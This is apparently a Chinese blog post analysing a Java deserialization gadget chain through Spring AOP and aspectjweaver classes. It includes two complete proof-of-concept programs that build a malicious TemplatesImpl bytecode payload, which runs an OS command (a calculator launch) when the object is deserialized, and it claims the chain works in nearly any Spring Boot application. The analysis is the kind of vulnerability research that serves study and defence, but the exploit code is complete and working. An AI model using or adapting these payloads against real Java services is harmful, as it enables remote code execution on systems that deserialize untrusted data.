SpringAOP链

Java反序列化调用链之SpringAOP链

SpringAOP链

SpringAOP,我们在学习rome链时就利用到了这个依赖的HotSwappableTargetSource类,从而可以调用到任意类的equals()方法并控制传递参数。

但是最近爆出来了一条SpringAOP链,可以调用任意类的无参方法,但是应该必须要public才行,并且这条链子只依赖SpringAOP和aspectjweaver两个依赖包,而springboot中的spring-boot-starter-aop自带包含这俩类,所以其实可以认为在任何springboot里都能打(但是我没找到jdk8下的符合的版本,所以还是用的分开的版本),所以这里使用的依赖项如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

<!--    &lt;!&ndash; https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-aop &ndash;&gt;-->
<!--    <dependency>-->
<!--      <groupId>org.springframework.boot</groupId>-->
<!--      <artifactId>spring-boot-starter-aop</artifactId>-->
<!--      <version>3.4.4</version>-->
<!--    </dependency>-->


<dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-aop</artifactId>
      <version>5.3.19</version>
    </dependency>
    <dependency>
      <groupId>org.aspectj</groupId>
      <artifactId>aspectjweaver</artifactId>
      <version>1.9.8</version>
    </dependency>

测试环境:

  • Jdk8u71

注意我最开始是用的高版本的,后来才改成低版本,自己区分,但是过程以及代码都是差不多的,也就是说,这条链子在<=jdk17应该也能用,因为jdk17也能调用反射。

调试分析

这里的sink点存在于org.springframework.aop.aspectj.AbstractAspectJAdvice类的invokeAdviceMethodWithGivenArgs()方法: image-20250429161509544

这里的this.aspectJAdviceMethod就是一个可控的变量,然后这里的ReflectionUtils.makeAccessible()方法就是判断是否为public,不是的话就会调用setAccessible(true)来设置成可访问: image-20250429164417409

再回到原来的invokeAdviceMethodWithGivenArgs()方法,后续的重点变量就是aspectInstanceFactory,这个变量调用的getAspectInstance()方法返回值决定了相对应的方法调用的实例,这个变量的类型是AspectInstanceFactory,这是一个接口类,可以看一下它的实现类的getAspectInstance()方法的返回值是否可以利用,同时需要这个类是实现了Serializable接口,这样才可以在序列化时利用。

这里自己找了一下,感觉可以尝试利用LazySingletonAspectInstanceFactoryDecorator类的getAspectInstance()方法: image-20250429165944462

这里涉及到的materialized变量可以通过反射来修改,并且也是实现了Serializable接口,但是在对其他变量的定义还需要找一个类来赋值:

image-20250429170245492

不好利用,再看看其他类,可以发现一个非常好用的类:SingletonAspectInstanceFactory。位于org.springframework.aop.aspectj.SingletonAspectInstanceFactory,关键代码如下:

image-20250429170819756

非常符合利用条件,可控的参数,可以赋值为任意类,由此可达到方法调用的对应实例的任意赋值。

回到AbstractAspectJAdvice类,有几个点需要说明:

  • 这是一个抽象类,所以无法直接实例化利用
  • 这个类定义了readObejct()方法,在实例化时要保证赋值正确,同时调用的是getMethod()方法,应该只能获取public类型的方法吧:

image-20250429171922006

后续构造时注意一下这里提到的点。

——————

继续来看链子,现在就是看可以会调用到AbstractAspectJAdvice类的invokeAdviceMethodWithGivenArgs()方法,同时还可以看哪里会调用到AbstractAspectJAdvice类的invokeAdviceMethod()方法: image-20250429214336187

从首发的文章的链子来看,这里找到可触发点在AspectJAroundAdvice类的invoke()方法:

image-20250429215037955

看这个类,可以发现这个类的父类是AbstractAspectJAdvice,是public方法: image-20250429215317504

再看这个类的invoke()方法,可以看到是实现了调用invokeAdviceMethod()方法,所以这里可以尝试接入前面分析的后续链子,从而达到调用任意类的方法。

再继续往前找,现在就是想怎么可以触发到这个类的invoke()方法,第一步想到的肯定是通过动态代理来打,但是这个参数传递有点问题,似乎是不能直接打的。那么在看如何调用到这个类的invoke()方法,这里往前找到的方法为ReflectiveMethodInvocation类的proceed()方法:

image-20250429215959602

在方法最后调用了interceptorOrInterceptionAdvice类的invoke()方法,从类的调用来看,可以知道MethodInterceptor类是一个接口类,所以需要interceptorOrInterceptionAdvice实现了MethodInterceptor接口,再看我们想要利用的AspectJAroundAdvice类,可以发现这个类是实现了MethodInterceptor接口的,刚好可以直接利用。现在就是看怎么将我们想要利用的类放进去了,主要的代码逻辑在于:

1
2
		Object interceptorOrInterceptionAdvice =
				this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);

这里涉及到的两个变量:interceptorsAndDynamicMethodMatchers和currentInterceptorIndex,第一个是list类型,第二个是int类型,并且默认是-1,而第一个变量可以在类初始化时进行赋值,当然,我们还可以通过反射来修改两个变量的值。

那么现在就是看怎么调用这个类的proceed()方法了,需要注意的是,ReflectiveMethodInvocation类没有实现Serializable接口,所以需要找特别的方法来进行调用,在参考文章中学到一个非常好用且经典的解决方法:既然我们无法在反序列化过程中使用,那么就只能依赖于动态创建

同时需要注意的是,既然都是在反序列化过程中动态创建了,那么是肯定无法通过反射来修改类变量的了。那么现在来认真看一下代码实现逻辑的条件:

image-20250429223259219

其实只要interceptorsAndDynamicMethodMatchers的list中有我们想要放进去的AspectJAroundAdvice类实例即可。原因如下:

  • AspectJAroundAdvice类本身以及父类都没有实现InterceptorAndDynamicMethodMatcher类,所以是肯定可以进入到else语句进行预期的invoke()方法调用
  • 其次只要size()返回的值不为0,也就是至少有一个值就行了,那么这样返回的size-1就不会与-1相同,同时在调用get()获取值时,是++this.currentInterceptorIndex,也就是先+1然后再获取值,这里也就回从-1变成0,从而获取到list中的第一个值。

综上,我们只要在动态创建ReflectiveMethodInvocation类时能控制构造函数的最后一个参数即可:

image-20250503163929840

继续往上找到的JdkDynamicAopProxy类,这个类有动态创建ReflectiveMethodInvocation的地方: image-20250503164020675

可以看到在JdkDynamicAopProxy类中有调用,这个类在解决jackson不稳定性的链子也是了解过的,需要反射来创建类实例,跟进相对应的方法:

image-20250503164155909

发现存在于这个类的invoke()方法中,代码调用过程如上,所以我们这里就是需要控制这个list类型的chain中放有一个AspectJAroundAdvice类实例。

再看JdkDynamicAopProxy类,这个类是实现了Serializable接口的,所以可以用来序列化,并且这个类的invoke()的参数接收是和基本的动态代理的点是一样的,所以这里可以尝试利用动态代理来进行触发JdkDynamicAopProxy类的invoke()方法。

现在来关注参数传递,怎么控制这个chain变量,主要是如下几个变量需要控制:

image-20250503165737271

看了一下,这里的advised变量要求必须是AdvisedSupport类型,这个类是public,并且这个类的父类是实现了Serializable接口的,可以直接利用。

然后这里的targetSource也可以控制,变量赋值情况如下: image-20250503170504864

直接就是获取这个变量,然后想要控制target的话,还需要注意这个targetSource变量所对应的对象是否有getTarget()方法,跟进这个变量的赋值,变量定义为TargetSource类型,这是一个接口类,所以需要找它的实现类来利用,自己简单找了一下,至少有两个类可以利用:

  • 一个是AdvisedSupport本类的setTarget()方法:

image-20250503170828888

这里实例化了一个SingletonTargetSource类,跟进情况如下:

image-20250503171025785

都是object类型,并且方法对应,可以利用。

  • 另外一个类是HotSwappableTargetSource类:

image-20250503171246851

它的getTarget()方法:

image-20250503171306693

所以也是非常符合的。也许TargetSource接口类的实现类还有,这里不多说了。

继续看条件:

image-20250503171506663

现在的关键就是AdvisedSupport类的getInterceptorsAndDynamicInterceptionAdvice()方法,跟进这个方法: image-20250503171540477

再看和这里有关的methodCache变量:

image-20250503171718669

一个Map类型,标注了key和value的类型,这里有一个非常关键的点,这个变量的定义为transient,导致这个变量不可被序列化。而这个类的构造方法以及readObject()方法有对这个变量的赋值:

image-20250503174957800

image-20250503172112223

这个ConcurrentHashMap类其实也是一个Map类型的类,存在put()方法用于放入键值对。

再仔细看getInterceptorsAndDynamicInterceptionAdvice()方法,由于methodCache变量声明为transient,所以只有在cached的获取肯定为null,那么来看进入if条件的代码,这里会调用advisorChainFactory变量的getInterceptorsAndDynamicInterceptionAdvice()方法,这里的advisorChainFactory变量默认为DefaultAdvisorChainFactory类实例:

image-20250503181435439

所以会调用DefaultAdvisorChainFactory类的getInterceptorsAndDynamicInterceptionAdvice()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public List<Object> getInterceptorsAndDynamicInterceptionAdvice(
			Advised config, Method method, @Nullable Class<?> targetClass) {

		// This is somewhat tricky... We have to process introductions first,
		// but we need to preserve order in the ultimate list.
		AdvisorAdapterRegistry registry = GlobalAdvisorAdapterRegistry.getInstance();
		Advisor[] advisors = config.getAdvisors();
		List<Object> interceptorList = new ArrayList<>(advisors.length);
		Class<?> actualClass = (targetClass != null ? targetClass : method.getDeclaringClass());
		Boolean hasIntroductions = null;

		for (Advisor advisor : advisors) {
			if (advisor instanceof PointcutAdvisor) {
				// Add it conditionally.
				PointcutAdvisor pointcutAdvisor = (PointcutAdvisor) advisor;
				if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {
					MethodMatcher mm = pointcutAdvisor.getPointcut().getMethodMatcher();
					boolean match;
					if (mm instanceof IntroductionAwareMethodMatcher) {
						if (hasIntroductions == null) {
							hasIntroductions = hasMatchingIntroductions(advisors, actualClass);
						}
						match = ((IntroductionAwareMethodMatcher) mm).matches(method, actualClass, hasIntroductions);
					}
					else {
						match = mm.matches(method, actualClass);
					}
					if (match) {
						MethodInterceptor[] interceptors = registry.getInterceptors(advisor);
						if (mm.isRuntime()) {
							// Creating a new object instance in the getInterceptors() method
							// isn't a problem as we normally cache created chains.
							for (MethodInterceptor interceptor : interceptors) {
								interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm));
							}
						}
						else {
							interceptorList.addAll(Arrays.asList(interceptors));
						}
					}
				}
			}
			else if (advisor instanceof IntroductionAdvisor) {
				IntroductionAdvisor ia = (IntroductionAdvisor) advisor;
				if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {
					Interceptor[] interceptors = registry.getInterceptors(advisor);
					interceptorList.addAll(Arrays.asList(interceptors));
				}
			}
			else {
				Interceptor[] interceptors = registry.getInterceptors(advisor);
				interceptorList.addAll(Arrays.asList(interceptors));
			}
		}

		return interceptorList;
	}

这里的config就是AdvisedSupport类,再看代码逻辑,最后返回的是interceptorList变量,而向这个变量中添加值的操作都是如下:

1
2
Interceptor[] interceptors = registry.getInterceptors(advisor);
					interceptorList.addAll(Arrays.asList(interceptors));

基本可以说是肯定会添加的,最后的else也是进行了这个添加的操作,可以看一下getInterceptors的判断逻辑,registry的获取:

image-20250503210135995

调用的DefaultAdvisorAdapterRegistry类的getInterceptors()方法:

image-20250503211319395

关键的就是上述方法,先看需要利用的advisor变量,是Advisor类型,是一个接口类,找了一下实现类,发现DefaultIntroductionAdvisor类是可以利用的,实现了Serializable接口,可以序列化,并且getAdvice()方法返回实例化传进去的advice变量:

image-20250503213318168

(学完后我回来看了一下,从代码层面来讲,发现DefaultIntroductionAdvisor类在DefaultAdvisorChainFactory类的getInterceptorsAndDynamicInterceptionAdvice()方法中应该是会进入到else if语句,但是想要添加也是非常好控制的:

image-20250503235440273

AdvisedSupport类中的方法定义: image-20250503235532495

preFiltered变量默认为false,但是可以通过setPreFiltered()方法将其设置为true,具体就看要是下面的分析出错了再加吧。当然还可以控制第二个,反正为||,但是这样就需要看targetClass的匹配情况了。

再看getInterceptors()方法后续代码,只要getAdvice()方法返回的类实现了Advice接口和MethodInterceptor接口,就可以将这个类放入list中,而我们想要利用的是我们想要传入的是AspectJAroundAdvice类实例,这个类的父类AbstractAspectJAdvice实现了Advice接口,可以直接利用。

但是这里其实有两条链子,区别点也是在这里,另外一种方法也挺有意思的,学习一下,两条链子主要的区别就是如下:

  • 找一个同时实现了Advice接口和MethodInterceptor接口并且可以利用的类,也就是前面分析的。
  • 第二个就是再加一层代理,这里也就是再次利用JdkDynamicAopProxy,通过JdkDynamicAopProxy来同时代理Advice和MethodInterceptor接口,并设置反射调用对象(target)是AspectJAroundAdvice,从而可以在调用到MethodInterceptor接口对应的方法时会继续链子的执行。这个就是对JdkDynamicAopProxy类的利用了,非常强大的类呀。

所以这里其实有两条链子,下面分别再继续说一下。

POC构造

链子一

前面分析得基本已经非常清晰了,AspectJAroundAdvice类的父类AbstractAspectJAdvice(sink点的类)实现了advice接口,所以其实可以直接尝试利用,那么就用CC5的反序列化调用toString()方法打一个来触发代理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AopProxy;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import javassist.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        Method method1 = impl.getClass().getDeclaredMethod("newTransformer");
        AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
        SingletonAspectInstanceFactory x1 = new SingletonAspectInstanceFactory(impl);

        AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method1,pointcut,x1);

        DefaultIntroductionAdvisor decorator = new DefaultIntroductionAdvisor(aspectJAroundAdvice);
        
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(impl);
        advisedSupport.addAdvisor(decorator);
        
        Class clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor constructor = clazz.getDeclaredConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);

        //代理设置
        InvocationHandler invocatinoHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
        AopProxy proxy = (AopProxy) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{AopProxy.class},invocatinoHandler);
        
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        setFieldValue(bad,"val",proxy);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

运行后就直接在反序列化时弹出计算机了。

再调试一下基本过程,有不同点: image-20250503223101762

这里为什么会有呢,不应该是会进入if条件吗?缓存问题?没调出来,搞不懂?

而对于为什么调用无参数构造方法,可以自己去跟一下这里的过程。

所以Gatget如下:

1
2
3
4
5
JdkDynamicAopProxy#invoke()->
  ReflectiveMethodInvocation#proceed()->
    AspectJAroundAdvice#invoke()->
      AbstractAspectJAdvice#invokeAdviceMethod()->
        AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs()

基本和预期相同。

链子二

这一条链子也是非常有意思的点,值得学习,具体过程上面提出来的点也非常清晰了,简单想了一下流程,感觉应该是在如下地方触发第二次JdkDynamicAopProxy的invoke()方法:

image-20250503232447306

而第二次触发invoke()方法的流程就和jackson不稳定性解决的链子流程是一样的了,这里不多说。

简单构造如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AopProxy;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import javassist.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",code);
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        Method method1 = impl.getClass().getDeclaredMethod("newTransformer");
        AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
        SingletonAspectInstanceFactory x1 = new SingletonAspectInstanceFactory(impl);

        AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method1,pointcut,x1);


        Class clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor constructor0 = clazz0.getDeclaredConstructor(AdvisedSupport.class);
        constructor0.setAccessible(true);


        AdvisedSupport advisedSupport0 = new AdvisedSupport();
        advisedSupport0.setTarget(aspectJAroundAdvice);

        Advice proxy0 = (Advice) getProxy(constructor0,advisedSupport0,new Class[]{MethodInterceptor.class,Advice.class});

        DefaultIntroductionAdvisor decorator = new DefaultIntroductionAdvisor(proxy0);

        AdvisedSupport advisedSupport1 = new AdvisedSupport();
        advisedSupport1.setTarget(impl);
        advisedSupport1.addAdvisor(decorator);

        //代理设置
        AopProxy proxy2 = (AopProxy) getProxy(constructor0,advisedSupport1,new Class[]{AopProxy.class});

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        setFieldValue(bad,"val",proxy2);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static Object getProxy(Constructor constructor,AdvisedSupport advised,Class[] interface1) throws Exception{
        InvocationHandler invocatinoHandler = (InvocationHandler) constructor.newInstance(advised);
        Object proxy = (Object) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),interface1,invocatinoHandler);
        return proxy;
    }
}

成功在反序列化时弹出计算机。

调试的唯一不同点就是如下:

image-20250503232835543

这里还是没有进入if语句,不知道为什么,但是后面gaoren帮我跑就能进入if语句。

所以Gatget如下:

1
2
3
4
5
6
7
JdkDynamicAopProxy#invoke()->
  ReflectiveMethodInvocation#proceed()->
    JdkDynamicAopProxy#invoke()->
      AopUtils#invokeJoinpointUsingReflection()->
        AspectJAroundAdvice#invoke()->
          AbstractAspectJAdvice#invokeAdviceMethod()->
            AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs()
总结

非常有意思的链子呀,JdkDynamicAopProxy类真的强大,只要控制得好,可以调用任意类的任意方法,主要还是看触发invoke()的方法,因为我们可控反射中的invoke()中的类实例,非常有意思。

最后,这个springAOP链是一个非常好用的类,基本上springboot的环境都能打,可以调用任意类的无参数方法。

参考文章: https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

https://xz.aliyun.com/news/17640

https://xz.aliyun.com/news/17530

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计